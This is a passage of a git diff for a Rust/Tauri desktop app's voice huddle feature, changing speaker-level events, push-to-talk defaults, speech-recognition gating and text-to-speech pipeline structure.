ms speaker tick. if !is_dtx { active_indices.insert(peer_idx); + let level = normalized_speaker_level(header.level_dbov); + speaker_levels + .entry(peer_idx) + .and_modify(|current| *current = current.max(level)) + .or_insert(level); } // TTS interrupt frame counter — reset on TTS rising edge. @@ -328,6 +385,7 @@ pub(crate) async fn run_playout_recv_loop( peers.remove(&key); frame_counts.remove(&key); active_indices.remove(&key); + speaker_levels.remove(&key); } index_to_pubkey.insert(key, pk.to_string()); } @@ -351,6 +409,7 @@ pub(crate) async fn run_playout_recv_loop( peers.retain(|idx, _| identity_unchanged(idx)); frame_counts.retain(|idx, _| identity_unchanged(idx)); active_indices.retain(identity_unchanged); + speaker_levels.retain(|idx, _| identity_unchanged(idx)); index_to_pubkey = replacement; } } @@ -359,6 +418,8 @@ pub(crate) async fn run_playout_recv_loop( let key = idx as u8; index_to_pubkey.remove(&key); frame_counts.remove(&key); + active_indices.remove(&key); + speaker_levels.remove(&key); // Dropping Player detaches its queue from the // device mixer, freeing the per-peer slot. peers.remove(&key); @@ -379,4 +440,34 @@ pub(crate) async fn run_playout_recv_loop( } } } + + if let Some(ref app) = app_handle { + use tauri::Emitter; + let _ = app.emit( + "huddle-speaker-levels", + &std::collections::HashMap::::new(), + ); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn speaker_level_maps_conversational_range() { + assert_eq!(normalized_speaker_level(-127), 0.0); + assert_eq!(normalized_speaker_level(-60), 0.0); + assert!((normalized_speaker_level(-36) - 0.5).abs() < f32::EPSILON); + assert_eq!(normalized_speaker_level(-12), 1.0); + assert_eq!(normalized_speaker_level(0), 1.0); + } + + #[test] + fn playout_recovery_uses_hysteresis() { + assert!(!should_recover_playout(9, false)); + assert!(should_recover_playout(10, false)); + assert!(should_recover_playout(5, true)); + assert!(!should_recover_playout(4, true)); + } } diff --git a/desktop/src-tauri/src/huddle/pocket.rs b/desktop/src-tauri/src/huddle/pocket.rs index 2154a25c22..fd407103d1 100644 --- a/desktop/src-tauri/src/huddle/pocket.rs +++ b/desktop/src-tauri/src/huddle/pocket.rs @@ -1,166 +1,4 @@ -//! April 2026 Pocket TTS engine for Buzz Desktop. -//! -//! The `english_2026-04` bundle uses SentencePiece tokenization, a learned -//! voice BOS embedding, recurrent FlowLM state, and stateful Mimi decoding. -//! Buzz selects the upstream three-graph INT8 variant while retaining the -//! full-precision Mimi encoder and text conditioner specified by that variant. -//! -//! ## Attribution -//! -//! - Pocket TTS and Mimi: Kyutai, CC-BY-4.0. -//! - ONNX export: KevinAHM/pocket-tts-onnx, CC-BY-4.0. -//! - Reference voice: Kyutai's Mary preset (VCTK p333), CC-BY-4.0. -//! -//! `huddle::models` writes the complete attribution beside the cached bytes. - -use std::path::{Path, PathBuf}; -use std::sync::Mutex; - -use sherpa_onnx::Wave; - -#[path = "pocket_april.rs"] -mod pocket_april; -#[path = "pocket_models.rs"] -mod pocket_models; - -use pocket_april::{prepare_april_prompt, AprilPocketTts}; -pub(crate) use pocket_models::{ +pub use buzz_voice_pkg::pocket::*; +pub(crate) use buzz_voice_pkg::{ april_model_info, PocketModelArtifact, APRIL_BUNDLE_ID, APRIL_MODEL_ID, APRIL_MODEL_REVISION, }; - -/// Pocket TTS emits 24 kHz mono PCM. -pub const SAMPLE_RATE: u32 = 24_000; - -/// Bundled reference voice name without its extension. -pub const DEFAULT_VOICE: &str = "reference_sample"; - -/// Pocket voice files are reference WAVs. -pub const VOICE_FILE_EXT: &str = "wav"; - -const TTS_NUM_THREADS: usize = 1; - -/// Loaded reference voice samples and their original sample rate. -#[derive(Debug, Clone)] -pub struct VoiceStyle { - samples: Vec, - sample_rate: i32, -} - -/// Load a Pocket reference voice WAV from disk. -pub fn load_voice_style(path: &Path) -> Result { - let path_str = path - .to_str() - .ok_or_else(|| format!("voice path is not valid UTF-8: {}", path.display()))?; - let wave = Wave::read(path_str) - .ok_or_else(|| format!("could not read voice WAV at {}", path.display()))?; - let samples = wave.samples().to_vec(); - if samples.is_empty() { - return Err(format!("voice WAV is empty: {}", path.display())); - } - Ok(VoiceStyle { - samples, - sample_rate: wave.sample_rate(), - }) -} - -/// Resident April INT8 Pocket TTS engine. -pub struct PocketTts { - inner: Mutex, -} - -/// Load Buzz Desktop's pinned April INT8 model. -pub fn load_text_to_speech(model_dir: &str) -> Result { - let dir = PathBuf::from(model_dir); - for artifact in april_model_info().artifacts { - let path = dir.join(artifact.filename); - if !path.is_file() { - return Err(format!( - "incomplete Pocket TTS {} INT8 bundle: missing {}", - APRIL_BUNDLE_ID, - path.display() - )); - } - } - Ok(PocketTts { - inner: Mutex::new(AprilPocketTts::load(&dir, TTS_NUM_THREADS)?), - }) -} - -impl PocketTts { - /// Split text into synthesis units that satisfy the bundle's exact - /// 50-token input limit. - pub fn split_text_into_chunks(&self, text: &str) -> Result, String> { - let Some(prepared) = prepare_april_prompt(text) else { - return Ok(Vec::new()); - }; - self.inner - .lock() - .map_err(|_| "Pocket TTS engine lock poisoned".to_string())? - .split_prompt(&prepared) - } - - /// Synthesize text with the supplied reference voice. - /// - /// Pocket detects language from text and this model uses one synthesis - /// step, so `_lang` and `_steps` intentionally do not affect output. - pub fn synth_chunk( - &self, - text: &str, - _lang: &str, - style: &VoiceStyle, - _steps: usize, - ) -> Result, String> { - let Some(prepared) = prepare_april_prompt(text) else { - return Ok(Vec::new()); - }; - let mut engine = self - .inner - .lock() - .map_err(|_| "Pocket TTS engine lock poisoned".to_string())?; - let chunks = engine.split_prompt(&prepared)?; - let mut samples = Vec::new(); - for chunk in chunks { - let prepared = prepare_april_prompt(&chunk) - .ok_or_else(|| "Pocket TTS prompt chunk became empty".to_string())?; - samples.extend(engine.synth_chunk(&prepared, style)?); - } - Ok(samples) - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn desktop_model_is_april_int8_only() { - let info = april_model_info(); - assert_eq!(info.max_token_per_chunk, 50); - assert_eq!(info.sample_rate, SAMPLE_RATE); - assert!(info - .artifacts - .iter() - .any(|artifact| artifact.filename == "flow_lm_main_int8.onnx")); - assert!(!info - .artifacts - .iter() - .any(|artifact| artifact.filename == "flow_lm_main.onnx")); - } - - #[test] - #[ignore = "requires BUZZ_POCKET_TEST_MODEL_DIR"] - fn production_api_emits_non_silent_april_int8_pcm() { - let dir = std::env::var("BUZZ_POCKET_TEST_MODEL_DIR") - .expect("set BUZZ_POCKET_TEST_MODEL_DIR to an April INT8 model directory"); - let engine = load_text_to_speech(&dir).expect("load April INT8 engine"); - let style = load_voice_style(&Path::new(&dir).join("reference_sample.wav")) - .expect("load reference voice"); - let samples = engine - .synth_chunk("Bright birds begin beside the bay.", "en", &style, 1) - .expect("synthesize through the production API"); - - assert!(!samples.is_empty()); - assert!(samples.iter().all(|sample| sample.is_finite())); - assert!(samples.iter().any(|sample| sample.abs() > 1.0e-6)); - } -} diff --git a/desktop/src-tauri/src/huddle/relay_api.rs b/desktop/src-tauri/src/huddle/relay_api.rs index eb3fea92d5..3f2aa76a56 100644 --- a/desktop/src-tauri/src/huddle/relay_api.rs +++ b/desktop/src-tauri/src/huddle/relay_api.rs @@ -164,7 +164,8 @@ pub(crate) async fn connect_audio_relay( let cancel_clone = cancel.clone(); let (pcm_tx, pcm_rx) = tokio::sync::mpsc::channel::>(50); let output_device_name = state - .audio_output_device + .huddle_audio + .output_device .lock() .unwrap_or_else(|e| e.into_inner()) .clone(); diff --git a/desktop/src-tauri/src/huddle/state.rs b/desktop/src-tauri/src/huddle/state.rs index f0a2227ca8..7acf5fe633 100644 --- a/desktop/src-tauri/src/huddle/state.rs +++ b/desktop/src-tauri/src/huddle/state.rs @@ -4,27 +4,30 @@ //! phase enum, voice input mode, and response types. use serde::{Deserialize, Serialize}; +use std::collections::BTreeMap; use std::sync::{ atomic::{AtomicBool, AtomicU64, Ordering}, Arc, Mutex, }; +use super::agent_voice::AgentVoiceSettings; use super::{stt, tts}; /// Voice input mode: push-to-talk (PTT) or voice-activity detection (VAD). /// -/// PTT: mic is gated by a global shortcut (Ctrl+Space). Pressing the key sets +/// PTT (the default): mic is gated by a global shortcut (Ctrl+Space). Pressing the key sets /// `ptt_active` and immediately cancels any playing TTS. Releasing the key /// (after a 200 ms delay) stops mic capture and flushes the utterance. /// /// VAD (default): the earshot VAD runs continuously and speech is accumulated -/// whenever the probability exceeds the threshold. Barge-in is enabled in this -/// mode. +/// whenever the probability exceeds the threshold. While local TTS is playing, +/// mic frames are discarded because VAD has no echo reference with which to +/// distinguish the app's own playback from a human interruption. #[derive(Debug, Clone, Default, Serialize, Deserialize, PartialEq)] #[serde(rename_all = "snake_case")] pub enum VoiceInputMode { - PushToTalk, #[default] + PushToTalk, VoiceActivity, } @@ -44,6 +47,9 @@ pub struct HuddleState { pub phase: HuddlePhase, pub parent_channel_id: Option, pub ephemeral_channel_id: Option, + /// Root event for the huddle's visible parent-channel thread. Transcript + /// messages reply here while audio coordination stays ephemeral. + pub huddle_thread_event_id: Option, /// Cancellation token for the audio relay WS task. #[serde(skip)] pub audio_ws_cancel: Option, @@ -67,6 +73,8 @@ pub struct HuddleState { deserialize_with = "deserialize_agent_pubkeys" )] pub agent_pubkeys: Arc>>, + /// Local, huddle-scoped playback choices for each participating agent. + pub agent_voice_settings: BTreeMap, /// Active STT pipeline — not serialized, not cloned. #[serde(skip)] pub stt_pipeline: Option>, @@ -127,6 +135,10 @@ pub struct HuddleState { /// Shared with the STT pipeline for mic gating. #[serde(skip)] pub ptt_active: Arc, + /// True while the clickable microphone control is manually unmuted. + /// In PTT mode, either this flag or `ptt_active` opens the STT gate. + #[serde(skip)] + pub manual_mic_unmuted: Arc, } fn serialize_agent_pubkeys(v: &Arc>>, s: S) -> Result @@ -161,10 +173,12 @@ impl Clone for HuddleState { phase: self.phase.clone(), parent_channel_id: self.parent_channel_id.clone(), ephemeral_channel_id: self.ephemeral_channel_id.clone(), + huddle_thread_event_id: self.huddle_thread_event_id.clone(), audio_ws_cancel: None, // Never clone handles. audio_relay_pcm_tx: None, // Never clone handles. participants: self.participants.clone(), agent_pubkeys: Arc::new(Mutex::new(agent_pubkeys_snapshot)), + agent_voice_settings: self.agent_voice_settings.clone(), stt_pipeline: None, // Never clone the pipeline handle. tts_pipeline: None, // Never clone the pipeline handle. is_creator: self.is_creator, @@ -180,6 +194,7 @@ impl Clone for HuddleState { session_generation: Arc::clone(&self.session_generation), voice_input_mode: self.voice_input_mode.clone(), ptt_active: Arc::clone(&self.ptt_active), + manual_mic_unmuted: Arc::clone(&self.manual_mic_unmuted), } } } @@ -190,10 +205,12 @@ impl Default for HuddleState { phase: HuddlePhase::Idle, parent_channel_id: None, ephemeral_channel_id: None, + huddle_thread_event_id: None, audio_ws_cancel: None, audio_relay_pcm_tx: None, participants: Vec::new(), agent_pubkeys: Arc::new(Mutex::new(Vec::new())), + agent_voice_settings: BTreeMap::new(), stt_pipeline: None, tts_pipeline: None, is_creator: false, @@ -209,6 +226,7 @@ impl Default for HuddleState { session_generation: Arc::new(AtomicU64::new(0)), voice_input_mode: VoiceInputMode::default(), ptt_active: Arc::new(AtomicBool::new(false)), + manual_mic_unmuted: Arc::new(AtomicBool::new(true)), } } } @@ -288,9 +306,11 @@ impl HuddleState { pub(crate) fn reset_preserving_generation(&mut self) { let gen = Arc::clone(&self.session_generation); let huddle_generation = self.huddle_generation; + let tts_enabled = self.tts_enabled; *self = Self::default(); self.session_generation = gen; self.huddle_generation = huddle_generation; + self.tts_enabled = tts_enabled; } } @@ -318,6 +338,13 @@ mod tests { assert!(!state.maybe_auto_enable_transcription_for_agents()); } + #[test] + fn defaults_to_push_to_talk_with_an_open_microphone() { + let state = HuddleState::default(); + assert_eq!(state.voice_input_mode, super::VoiceInputMode::PushToTalk); + assert!(state.manual_mic_unmuted.load(Ordering::Acquire)); + } + #[test] fn explicit_user_disable_is_not_undone_by_agent_presence() { let mut state = HuddleState::default(); @@ -430,6 +457,18 @@ mod tests { assert!(state.owns_huddle_lifetime(replacement_generation, super::HuddlePhase::Connecting)); } + #[test] + fn teardown_preserves_installation_global_tts_preference() { + let mut state = HuddleState { + tts_enabled: false, + phase: super::HuddlePhase::Active, + ..HuddleState::default() + }; + state.reset_preserving_generation(); + assert!(!state.tts_enabled); + assert_eq!(state.phase, super::HuddlePhase::Idle); + } + #[test] fn stale_constructor_cannot_clear_replacement_sentinel() { let mut state = HuddleState::default(); diff --git a/desktop/src-tauri/src/huddle/stt.rs b/desktop/src-tauri/src/huddle/stt.rs index 6f502ca72c..70a8088640 100644 --- a/desktop/src-tauri/src/huddle/stt.rs +++ b/desktop/src-tauri/src/huddle/stt.rs @@ -63,17 +63,18 @@ impl SttPipeline { /// /// `tts_active` is a shared flag set by the TTS pipeline while audio is /// playing. The STT worker uses it to: - /// - discard accumulated speech (echo prevention / barge-in gating) - /// - apply a 200 ms cooldown after TTS stops before re-enabling STT - /// - detect barge-in: speech onset during TTS → set `tts_cancel` + /// - discard accumulated speech so local playback cannot feed back into STT + /// - apply a cooldown after TTS stops before re-enabling STT /// - /// `tts_cancel` (optional) is the TTS pipeline's cancel flag. When the STT - /// worker detects speech onset while TTS is active, it sets this flag to - /// stop playback immediately (barge-in). Pass `None` if TTS is unavailable. + /// Open-mic VAD cannot distinguish a nearby human from the app's own native + /// TTS playback because it has no acoustic echo reference. Local mic frames + /// therefore never cancel TTS. Push-to-talk and remote participant speech + /// remain explicit, reliable barge-in paths. /// - /// `ptt_active` (optional) is the push-to-talk flag. When `Some`, the STT - /// pipeline only accumulates speech while the flag is true (key held). - /// When `None`, the pipeline runs in continuous VAD mode. + /// `ptt_active` and `manual_mic_unmuted` are present when the PTT shortcut + /// is enabled. The pipeline accepts speech while either input path is open; + /// manual unmute uses normal VAD flushing while a shortcut hold is grouped + /// into one utterance. /// /// Returns `Err` only if the thread cannot be spawned (OS error). /// If model files are missing, the worker logs and exits cleanly — @@ -86,16 +87,16 @@ impl SttPipeline { pub fn new( model_dir: PathBuf, tts_active: Arc, - tts_cancel: Option>, ptt_active: Option>, + manual_mic_unmuted: Option>, ) -> Result<(Self, tokio_mpsc::Receiver), String> { let (audio_tx, audio_rx) = mpsc::sync_channel::>(AUDIO_QUEUE_DEPTH); let (text_tx, text_rx) = tokio_mpsc::channel::(64); let shutdown = Arc::new(AtomicBool::new(false)); let shutdown_worker = Arc::clone(&shutdown); - let tts_cancel_worker = tts_cancel.as_ref().map(Arc::clone); let ptt_active_worker = ptt_active.as_ref().map(Arc::clone); + let manual_mic_unmuted_worker = manual_mic_unmuted.as_ref().map(Arc::clone); let handle = thread::Builder::new() .name("stt-worker".into()) .spawn(move || { @@ -105,8 +106,8 @@ impl SttPipeline { text_tx, shutdown_worker, tts_active, - tts_cancel_worker, ptt_active_worker, + manual_mic_unmuted_worker, ) }) .map_err(|e| format!("failed to spawn stt-worker thread: {e}"))?; @@ -167,28 +168,26 @@ impl Drop for SttPipeline { /// Previous value (28 frames / 450 ms) felt sluggish in conversation. const SILENCE_FLUSH_FRAMES: usize = 19; -/// Consecutive VAD speech frames required before triggering barge-in during TTS. -/// 20 frames × 256 samples / 16 kHz ≈ 320 ms — must be long enough to filter -/// speaker-to-mic feedback (TTS audio bleeding through the mic) while still -/// catching real human interruptions. 80 ms (previous: 5 frames) was too -/// aggressive — laptop speakers without headphones triggered false barge-in -/// within the first word of TTS playback. -const BARGE_IN_DEBOUNCE_FRAMES: usize = 20; - /// earshot requires exactly 256 samples per frame at 16 kHz. const VAD_FRAME_SAMPLES: usize = 256; /// VAD probability threshold — above this is considered speech. const VAD_THRESHOLD: f32 = 0.5; +/// Minimum voiced audio needed before an utterance may be decoded. +/// One earshot false-positive frame is only 16 ms; requiring 192 ms prevents +/// silence/room-noise blips from reaching Parakeet and becoming hallucinated +/// transcript text while still preserving short replies such as "yes". +const MIN_VOICED_FRAMES: usize = 12; + /// How long the worker waits on the audio channel before checking the shutdown flag. const RECV_TIMEOUT: Duration = Duration::from_millis(50); -/// 50 ms cooldown after TTS stops before STT re-enables. +/// 150 ms cooldown after TTS stops before STT re-enables. /// Prevents the tail of TTS audio from being transcribed as speech. -/// Previous value (200 ms) was eating the first word when the user spoke -/// immediately after the agent finished. -const TTS_COOLDOWN: Duration = Duration::from_millis(50); +/// This remains shorter than the previous 200 ms gate that ate the first word, +/// but is long enough for speaker/AEC tail audio to leave the microphone path. +const TTS_COOLDOWN: Duration = Duration::from_millis(150); /// Number of ONNX Runtime intra-op threads used by the offline recognizer. /// @@ -207,8 +206,8 @@ fn stt_worker( text_tx: tokio_mpsc::Sender, shutdown: Arc, tts_active: Arc, - tts_cancel: Option>, ptt_active: Option>, + manual_mic_unmuted: Option>, ) { // ── 1. Initialise rubato resampler (48 kHz → 16 kHz, mono) ─────────────── use rubato::{Fft, FixedSync, Resampler}; @@ -274,16 +273,19 @@ fn stt_worker( let mut silence_frames: usize = 0; // Whether we're currently in a speech segment. let mut in_speech = false; - // Consecutive speech frames seen during TTS — used for barge-in debounce. - let mut barge_in_frames: usize = 0; - // Timestamp when TTS last stopped — used for the 200 ms cooldown. + // Number of frames earshot classified as voiced in the current segment. + let mut voiced_frames = 0; + // Timestamp when TTS last stopped — used for the playback-tail cooldown. let mut tts_stopped_at: Option = None; // ── 5. Main loop ────────────────────────────────────────────────────────── let mut tts_was_active = false; - let mut ptt_was_active = ptt_active + let mut transmit_was_active = ptt_active .as_ref() - .is_some_and(|p| p.load(Ordering::Acquire)); + .is_some_and(|ptt| ptt.load(Ordering::Acquire)) + || manual_mic_unmuted + .as_ref() + .is_some_and(|manual| manual.load(Ordering::Acquire)); loop { // Check shutdown flag before blocking. if shutdown.load(Ordering::Acquire) { @@ -298,19 +300,22 @@ fn stt_worker( } tts_was_active = tts_now; - // Track PTT transitions — flush accumulated speech when key is released. - // The worklet stops sending frames when PTT is inactive, so the normal - // silence-accumulation flush path never runs. We must flush here on the - // active→inactive edge to avoid buffering speech across PTT presses. + // Track the combined manual/PTT transmission edge. When both paths + // close, the worklet stops sending frames, so flush here rather than + // waiting for silence that will never arrive. if let Some(ref ptt) = ptt_active { - let ptt_now = ptt.load(Ordering::Acquire); - if ptt_was_active && !ptt_now && in_speech && !speech_buf.is_empty() { - flush_to_stt(&speech_buf, &recognizer, &text_tx); + let transmit_now = ptt.load(Ordering::Acquire) + || manual_mic_unmuted + .as_ref() + .is_some_and(|manual| manual.load(Ordering::Acquire)); + if transmit_was_active && !transmit_now && in_speech && !speech_buf.is_empty() { + flush_to_stt(&speech_buf, voiced_frames, &recognizer, &text_tx); speech_buf.clear(); silence_frames = 0; in_speech = false; + voiced_frames = 0; } - ptt_was_active = ptt_now; + transmit_was_active = transmit_now; } // Use recv_timeout so we can periodically check the shutdown flag. @@ -342,13 +347,13 @@ fn stt_worker( &mut speech_buf, &mut silence_frames, &mut in_speech, - &mut barge_in_frames, + &mut voiced_frames, &recognizer, &text_tx, &tts_active, - tts_cancel.as_deref(), &mut tts_stopped_at, ptt_active.as_ref(), + manual_mic_unmuted.as_ref(), ); } } @@ -387,15 +392,13 @@ fn resample_chunk(resampler: &mut rubato::Fft, chunk_48k: &[f32]) -> Vec, silence_frames: &mut usize, in_speech: &mut bool, - barge_in_frames: &mut usize, + voiced_frames: &mut usize, recognizer: &sherpa_onnx::OfflineRecognizer, text_tx: &tokio_mpsc::Sender, tts_active: &Arc, - tts_cancel: Option<&AtomicBool>, tts_stopped_at: &mut Option, ptt_active: Option<&Arc>, + manual_mic_unmuted: Option<&Arc>, ) { leftover.extend_from_slice(samples); @@ -420,51 +423,27 @@ fn process_16k_samples( let prob = vad.predict_f32(&clamped); let is_speech = prob > VAD_THRESHOLD; - // PTT gating: when PTT key is not held, treat as silence. - // This causes natural flush when the key is released — silence_frames - // accumulates and the existing flush logic kicks in after - // SILENCE_FLUSH_FRAMES. The 200 ms release delay + ~300 ms silence - // flush gives a natural utterance tail. + let manually_open = manual_mic_unmuted.is_some_and(|manual| manual.load(Ordering::Acquire)); + // Shortcut-enabled mode accepts input from either the held shortcut or + // a manually open microphone. let is_speech = if let Some(ptt) = ptt_active { - is_speech && ptt.load(Ordering::Acquire) + is_speech && (ptt.load(Ordering::Acquire) || manually_open) } else { is_speech }; let tts_playing = tts_active.load(Ordering::Acquire); - // While TTS is playing: skip accumulation (echo prevention). + // While TTS is playing, discard local mic input. The native TTS output + // is not available as an echo-cancellation reference to this worker, so + // VAD cannot reliably tell speaker feedback from a human interruption. + // Push-to-talk and remote participant audio provide the intentional + // cancellation paths instead. if tts_playing { - if ptt_active.is_some() { - // PTT mode — PTT press handles TTS cancellation directly - // (via the global shortcut handler). Just skip accumulation. - *in_speech = false; - *barge_in_frames = 0; - speech_buf.clear(); - *silence_frames = 0; - continue; - } - - // VAD mode — barge-in detection. - // Without acoustic echo cancellation, this requires a longer - // debounce (BARGE_IN_DEBOUNCE_FRAMES ≈ 320 ms) to filter - // speaker-to-mic feedback. - if is_speech { - *barge_in_frames += 1; - if *barge_in_frames >= BARGE_IN_DEBOUNCE_FRAMES { - // Real speech detected during TTS — trigger barge-in. - if let Some(cancel) = tts_cancel { - cancel.store(true, Ordering::Release); - } - *barge_in_frames = 0; - } - } else { - *barge_in_frames = 0; - } - // Don't accumulate speech during TTS (echo prevention). *in_speech = false; speech_buf.clear(); *silence_frames = 0; + *voiced_frames = 0; continue; } @@ -477,44 +456,45 @@ fn process_16k_samples( } speech_buf.clear(); *silence_frames = 0; - *barge_in_frames = 0; + *voiced_frames = 0; continue; } else { // Cooldown expired — clear the timer and reset all segment state. *tts_stopped_at = None; *in_speech = false; *silence_frames = 0; - *barge_in_frames = 0; + *voiced_frames = 0; } } if is_speech { *silence_frames = 0; *in_speech = true; + *voiced_frames += 1; speech_buf.extend_from_slice(&frame); // OOM guard: flush and reset if the buffer exceeds 30 s of audio. if speech_buf.len() >= MAX_SPEECH_SAMPLES { - flush_to_stt(speech_buf, recognizer, text_tx); + flush_to_stt(speech_buf, *voiced_frames, recognizer, text_tx); speech_buf.clear(); *silence_frames = 0; *in_speech = false; + *voiced_frames = 0; } } else if *in_speech { // Still accumulate during brief silence gaps. speech_buf.extend_from_slice(&frame); *silence_frames += 1; - // In PTT mode, don't flush on silence — accumulate the entire - // key-hold as one utterance. The PTT release edge in the main - // loop handles the flush. In VAD mode, flush after the silence - // threshold so each natural pause becomes a separate message. - if ptt_active.is_none() && *silence_frames >= SILENCE_FLUSH_FRAMES { + // A manually open microphone behaves like normal VAD. A + // shortcut-only transmission stays grouped until key release. + if (ptt_active.is_none() || manually_open) && *silence_frames >= SILENCE_FLUSH_FRAMES { // End of utterance — transcribe. - flush_to_stt(speech_buf, recognizer, text_tx); + flush_to_stt(speech_buf, *voiced_frames, recognizer, text_tx); speech_buf.clear(); *silence_frames = 0; *in_speech = false; + *voiced_frames = 0; } } // If not in speech and not accumulating, just discard the frame. @@ -527,10 +507,11 @@ fn process_16k_samples( /// The tokio channel's `blocking_send` is safe to call from sync contexts. fn flush_to_stt( speech_buf: &[f32], + voiced_frames: usize, recognizer: &sherpa_onnx::OfflineRecognizer, text_tx: &tokio_mpsc::Sender, ) { - if speech_buf.is_empty() { + if speech_buf.is_empty() || !has_enough_voiced_audio(voiced_frames) { return; } @@ -550,6 +531,10 @@ fn flush_to_stt( } } +fn has_enough_voiced_audio(voiced_frames: usize) -> bool { + voiced_frames >= MIN_VOICED_FRAMES +} + /// Convert raw bytes (f32 LE) to f32 samples. /// Caller should ensure `bytes.len() % 4 == 0`; extra bytes are silently truncated. /// @@ -565,3 +550,15 @@ fn bytes_to_f32(bytes: &[u8]) -> Vec { // drain_until_shutdown lives in super (huddle/mod.rs) — shared with tts.rs. use super::drain_until_shutdown; + +#[cfg(test)] +mod tests { + use super::{has_enough_voiced_audio, MIN_VOICED_FRAMES}; + + #[test] + fn short_vad_blips_do_not_reach_the_recognizer() { + assert!(!has_enough_voiced_audio(1)); + assert!(!has_enough_voiced_audio(MIN_VOICED_FRAMES - 1)); + assert!(has_enough_voiced_audio(MIN_VOICED_FRAMES)); + } +} diff --git a/desktop/src-tauri/src/huddle/tts.rs b/desktop/src-tauri/src/huddle/tts.rs index f084cca6d5..6a56f85444 100644 --- a/desktop/src-tauri/src/huddle/tts.rs +++ b/desktop/src-tauri/src/huddle/tts.rs @@ -35,20 +35,41 @@ //! can gate microphone input while the agent is speaking. use std::{ + collections::{HashMap, VecDeque}, num::NonZero, path::PathBuf, sync::{ - atomic::{AtomicBool, Ordering}, + atomic::{AtomicBool, AtomicU64, Ordering}, mpsc::{self, SyncSender}, Arc, Mutex, MutexGuard, PoisonError, }, thread, - time::Duration, + time::{Duration, Instant}, }; -use super::pocket::{load_text_to_speech, load_voice_style, SAMPLE_RATE, VOICE_FILE_EXT}; +use super::pocket::{ + load_text_to_speech, load_voice_style, DEFAULT_VOICE, SAMPLE_RATE, VOICE_FILE_EXT, +}; use super::preprocessing::{preprocess_for_tts, split_sentences}; +#[path = "tts_voice_transition.rs"] +mod voice_transition; +use voice_transition::*; +#[path = "tts_startup.rs"] +mod startup; +use startup::await_worker_startup; +#[path = "tts_audio.rs"] +mod audio; +use audio::*; +#[path = "tts_activity.rs"] +mod activity; +use activity::*; +#[path = "tts_pipeline_controls.rs"] +mod pipeline_controls; +#[path = "tts_speaker_cancellation.rs"] +mod speaker_cancellation; +use speaker_cancellation::*; + // ── Constants ───────────────────────────────────────────────────────────────── /// Maximum number of queued text items. @@ -56,15 +77,16 @@ use super::preprocessing::{preprocess_for_tts, split_sentences}; /// TTS can play it. Excess items are dropped with a warning. const TEXT_QUEUE_DEPTH: usize = 8; -/// How long the worker waits on the text channel before checking the shutdown flag. +/// How long the worker waits before checking the shutdown flag. const RECV_TIMEOUT: Duration = Duration::from_millis(100); - /// Poll interval of the barge-in monitor thread. Bounds flag-to-silence /// latency: a cancel is noticed within one tick, and rodio's internal /// `periodic_access` wrapper stops the in-flight source within a further /// ~5 ms — so playing audio dies ~15 ms after the flag is set, even while /// the worker is blocked inside `synth_chunk`. const MONITOR_TICK: Duration = Duration::from_millis(10); +const SPEAKER_ACTIVITY_TICK: Duration = Duration::from_millis(50); +const AUDIO_PRIME_TIMEOUT: Duration = Duration::from_secs(2); /// Pocket TTS is a one-step consistency model, not diffusion. Kept for API compat. const SYNTH_STEPS: usize = 1; @@ -109,6 +131,16 @@ const MAX_CHUNK_CHARS: usize = 200; /// Injected as a silent buffer between each synthesized sentence chunk. const INTER_SENTENCE_SILENCE: f32 = 0.1; +type WorkerControlState = ( + Arc, + Arc, + WorkerCancelSignals, + SpeakerGenerations, + ActiveSpeaker, + SpeakerCancellation, + PlaybackProbe, +); + // ── Public pipeline handle ──────────────────────────────────────────────────── /// Handle to the running TTS pipeline. @@ -117,7 +149,7 @@ const INTER_SENTENCE_SILENCE: f32 = 0.1; #[derive(Debug)] pub struct TtsPipeline { /// Send preprocessed text into the pipeline. - text_tx: SyncSender, + text_tx: SyncSender, /// `true` while the agent is speaking. Shared with the STT pipeline for gating. #[allow(dead_code)] pub tts_active: Arc, @@ -127,101 +159,113 @@ pub struct TtsPipeline { /// Kept alive here so the Arc isn't dropped — the worker holds a clone. #[allow(dead_code)] cancel: Arc, - /// Voice name (e.g. "reference_sample"). Stored for future voice-switching support. - #[allow(dead_code)] - voice: String, + /// Internal cancellation used only for voice changes. Kept separate so a + /// concurrent human barge-in always clears every queued message. + voice_cancel: Arc, + /// Selected manifest voice. The worker reloads only the lightweight style + /// when this changes; the warmed Pocket engine and audio player stay alive. + voice: Arc>, + /// Tags messages so a voice change drops only pre-change queue entries. + voice_generation: Arc, + /// Per-agent generations let removal invalidate that agent's queued and + /// in-flight text without poisoning speech queued after the agent rejoins. + speaker_generations: SpeakerGenerations, + /// Speaker whose audio currently owns the shared player queue. + active_speaker: ActiveSpeaker, + /// Targeted cancellation used when an agent leaves the huddle. + speaker_cancel: SpeakerCancellation, + /// Shared player handle used to reject Stop clicks after playback drains. + playback_probe: PlaybackProbe, + /// Completed after the worker drains pre-change text and installs the new style. + voice_change_ack: VoiceChangeAck, /// Worker thread handle — taken on drop to join cleanly. thread: Option>, } impl TtsPipeline { - /// Spawn the TTS pipeline thread using the default voice. + /// Spawn the TTS pipeline thread with a manifest-backed voice name. /// - /// `model_dir` must contain the Pocket TTS files declared by `huddle::models` - /// (the five ONNX sessions, the two JSON tables, and `.wav`). - /// - /// `tts_active` is set to `true` while audio is playing and `false` when idle. - /// Pass the same `Arc` to the STT pipeline to gate microphone input. - /// - /// `cancel` is the shared barge-in flag from `HuddleState.tts_cancel`. Pass the - /// same `Arc` to the STT pipeline so both sides reference the same flag for the - /// entire huddle session — no stale references after pipeline restarts. - pub fn new( - model_dir: PathBuf, - tts_active: Arc, - cancel: Arc, - output_device: Option, - ) -> Result { - use super::pocket::DEFAULT_VOICE; - Self::new_with_voice(model_dir, tts_active, cancel, DEFAULT_VOICE, output_device) - } - - /// Spawn the TTS pipeline thread with a specific voice name. Today only the - /// bundled default voice (see `pocket::DEFAULT_VOICE`) is shipped; other - /// names will surface a clear error from `load_voice_style`. + /// `cancel` is shared with STT for barge-in. The same handle survives voice + /// changes so the warmed Pocket engine is retained. pub fn new_with_voice( model_dir: PathBuf, tts_active: Arc, cancel: Arc, voice: &str, output_device: Option, + activity_app: Option, ) -> Result { - let (text_tx, text_rx) = mpsc::sync_channel::(TEXT_QUEUE_DEPTH); + let (text_tx, text_rx) = mpsc::sync_channel::(TEXT_QUEUE_DEPTH); let shutdown = Arc::new(AtomicBool::new(false)); - // cancel is passed in from HuddleState.tts_cancel — shared with STT for barge-in. + // cancel is passed in from HuddleState.tts_cancel — shared with remote + // participant interruption and the push-to-talk shortcut. let shutdown_worker = Arc::clone(&shutdown); let cancel_worker = 